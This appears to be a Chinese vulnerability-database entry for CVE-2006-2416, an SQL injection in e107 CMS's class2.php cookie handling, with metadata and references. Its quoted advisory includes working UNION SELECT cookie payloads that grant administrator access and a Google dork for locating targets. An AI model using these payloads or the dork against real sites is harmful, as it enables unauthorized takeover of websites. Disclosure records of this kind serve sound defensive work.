e107 class2.php SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1194993 漏洞类型 SQL注入
发布时间 2006-05-13 更新时间 2007-02-20
CVE编号 CVE-2006-2416 CNNVD-ID CNNVD-200605-304
漏洞平台 N/A CVSS评分 5.1
|漏洞来源
https://www.securityfocus.com/bid/17966
https://cxsecurity.com/issue/WLB-2006050102
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200605-304
|漏洞详情
e1070.7.2及之前版本的class2.php存在SQL注入漏洞。远程攻击者可以借助$pref['cookie_name']中定义的cookie,执行任意SQL指令。
|漏洞EXP
Software: e107 (CMS)

Versions: <= 0.7.2

Type:	SQL-injection

Homepage:	www.e107.org

Description:

----------------------------

SQL-Injection in e107 allows attacker to become a site admininstrator.

Requirements:

----------------------------

Magic_quotes_gpc = Off

Vulnerability:

----------------------------

Vulnerability has been found in processing the COOKIE.

COOKIE use for authentification users and administrator.

Data transfered to this parameter not are filtered.

Code:

----------------------------

class2.php

.....

>       list($uid, $upw)=($_COOKIE[$pref['cookie_name']] ? explode(".",                   >  $_COOKIE[$pref['cookie_name']]) : explode(".", $_SESSION[$pref['cookie_name']]));

.....

>       if($result = get_user_data($uid, "AND md5(u.user_password)='{$upw}'", FALSE)) {

.....

Exploit:

0.6.xxx

1.blabla_hash_password' union select * from e107_user where user_id=1/*

0.7.X

1.blabla_hash_password' union select 1,'admin_d','admin',4,5,6,'some_user@some_hostcom',8,9,10,11,12,'1139995
361','1140005365',15,16,17,18,19,20,21,22,23,24,'1',26,27,'0',29,30,31,3
2,33 /*

Additional Information:

-----------------------

Google dorks: "Powered by e107"

Vendor Status

-------------

The vendor is informed!
|受影响的产品
e107 e107 website system 0.6171 e107 e107 website system 0.617 e107 e107 website system 0.616 e107 e107 website system 0.603 e107 e107 website system 0.555 Beta e107 e107
|参考资料

来源:OSVDB
名称:25521
链接:http://www.osvdb.org/25521
来源:VUPEN
名称:ADV-2006-1802
链接:http://www.frsirt.com/english/advisories/2006/1802
来源:SECUNIA
名称:20089
链接:http://secunia.com/advisories/20089
来源:XF
名称:e107-cookie-sql-injection(26434)
链接:http://xforce.iss.net/xforce/xfdb/26434
来源:BID
名称:17966
链接:http://www.securityfocus.com/bid/17966
来源:BUGTRAQ
名称:20060513SQL-Injectionine107allowsattackertobecomeasiteadmininstrator
链接:http://www.securityfocus.com/archive/1/archive/1/433938/100/0/threaded
来源:SREASON
名称:905
链接:http://securityreason.com/securityalert/905